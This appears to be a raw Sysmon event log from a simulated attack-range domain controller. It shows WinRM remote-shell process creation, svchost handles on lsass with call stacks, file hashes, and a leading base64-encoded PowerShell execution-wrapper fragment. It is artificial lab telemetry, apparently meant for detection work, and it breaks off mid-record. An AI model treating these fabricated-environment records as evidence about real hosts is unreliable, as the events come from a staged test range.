AG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-289A-5F80-95B1-110000000000}0x11b1950HighMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-289A-5F80-0603-000000007E01}4176C:\Windows\System32\winrshost.exeC:\Windows\system32\WinrsHost.exe -Embedding 10341000x8000000000000000315Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.627{A5F018FF-272B-5F80-0B00-000000007E01}860604C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000314Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.627{A5F018FF-272B-5F80-0B00-000000007E01}860604C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000313Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.627{A5F018FF-272B-5F80-0B00-000000007E01}860604C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000312Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.627{A5F018FF-272E-5F80-1400-000000007E01}13482224C:\Windows\system32\svchost.exe{A5F018FF-289A-5F80-0603-000000007E01}4176C:\Windows\system32\WinrsHost.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\winrscmd.dll+8d36|C:\Windows\system32\winrscmd.dll+92d5|C:\Windows\system32\winrscmd.dll+af31|C:\Windows\system32\winrscmd.dll+23dc|c:\windows\system32\wsmsvc.dll+155ac7|c:\windows\system32\wsmsvc.dll+13f76d|c:\windows\system32\wsmsvc.dll+13f3cf|c:\windows\system32\wsmsvc.dll+13fcb2|c:\windows\system32\wsmsvc.dll+9ab10|c:\windows\system32\wsmsvc.dll+9b611|c:\windows\system32\wsmsvc.dll+4495|c:\windows\system32\wsmsvc.dll+16816c|c:\windows\system32\wsmsvc.dll+1689b8|c:\windows\system32\wsmsvc.dll+16345b|c:\windows\system32\wsmsvc.dll+163125|c:\windows\system32\wsmsvc.dll+14ce9c|c:\windows\system32\wsmsvc.dll+130049|c:\windows\system32\wsmsvc.dll+13571a|c:\windows\system32\wsmsvc.dll+12f47e|c:\windows\system32\wsmsvc.dll+125587|c:\windows\system32\wsmsvc.dll+11f562|c:\windows\system32\wsmsvc.dll+124574 10341000x8000000000000000311Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.612{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-289A-5F80-0603-000000007E01}4176C:\Windows\system32\WinrsHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000310Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.612{A5F018FF-289A-5F80-0703-000000007E01}27882144C:\Windows\system32\conhost.exe{A5F018FF-289A-5F80-0603-000000007E01}4176C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000309Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.596{A5F018FF-2724-5F80-0500-000000007E01}640656C:\Windows\system32\csrss.exe{A5F018FF-289A-5F80-0703-000000007E01}2788C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000308Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.596{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000307Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.596{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000306Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.596{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000305Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.596{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000304Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.596{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000303Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.596{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000302Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.596{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000301Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.596{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000300Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.596{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000299Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.596{A5F018FF-2724-5F80-0500-000000007E01}640760C:\Windows\system32\csrss.exe{A5F018FF-289A-5F80-0603-000000007E01}4176C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000298Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.596{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-289A-5F80-0603-000000007E01}4176C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|c:\windows\system32\rpcss.dll+35069|c:\windows\system32\rpcss.dll+3a852|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x8000000000000000297Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.606{A5F018FF-289A-5F80-0603-000000007E01}4176C:\Windows\System32\winrshost.exe10.0.14393.0 (rs1_release.160715-1616)Host Process for WinRM's Remote Shell pluginMicrosoft® Windows® Operating SystemMicrosoft Corporationwinrshost.exeC:\Windows\system32\WinrsHost.exe -EmbeddingC:\Windows\system32\ATTACKRANGE\Administrator{A5F018FF-289A-5F80-95B1-110000000000}0x11b1950HighMD5=F40EC96CA18D88CB1F26FA2070010714,SHA256=607C014A3CA531FFAD50BCD90095C01E4E6B691D9E18473C70E4699CF1E31453,IMPHASH=4216D8E7F36901B61DFD6309B49BCF96{A5F018FF-272D-5F80-0C00-000000007E01}572C:\Windows\System32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch 10341000x8000000000000000296Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.596{A5F018FF-272B-5F80-0B00-000000007E01}860604C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000295Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.596{A5F018FF-272B-5F80-0B00-000000007E01}860604C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000294Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.596{A5F018FF-272B-5F80-0B00-000000007E01}860604C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000293Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.502{A5F018FF-272B-5F80-0B00-000000007E01}860604C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000292Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 